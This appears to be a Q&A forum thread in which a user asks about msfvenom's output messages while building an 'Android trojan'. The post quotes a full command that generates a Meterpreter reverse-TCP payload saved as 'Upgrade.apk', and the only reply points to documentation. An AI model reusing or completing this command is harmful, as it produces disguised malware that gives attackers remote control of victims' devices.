I was running a command to create an Android trojan. Command was:

msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST = LPORT=4444 R > /root/Desktop/Upgrade.apk

I am getting the output:

No Arch selected, selecting arch: davlik from payload
No encoders or badchars specified, outputting raw payload.

What is the reason of this? How can this be fixed? Where to get the encoders from?

  • All of this is available in the metasploit and msfvenom documentation. Have you read the documentation? – schroeder Sep 10 at 7:50
  • No not actually, my fault.. but any idea? – Still_Noob Sep 10 at 11:08
  • At some point, you will have to look up the documentation. If you still have questions once you do, you should come back to this question to edit it with those specifics. – schroeder Sep 11 at 11:45

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.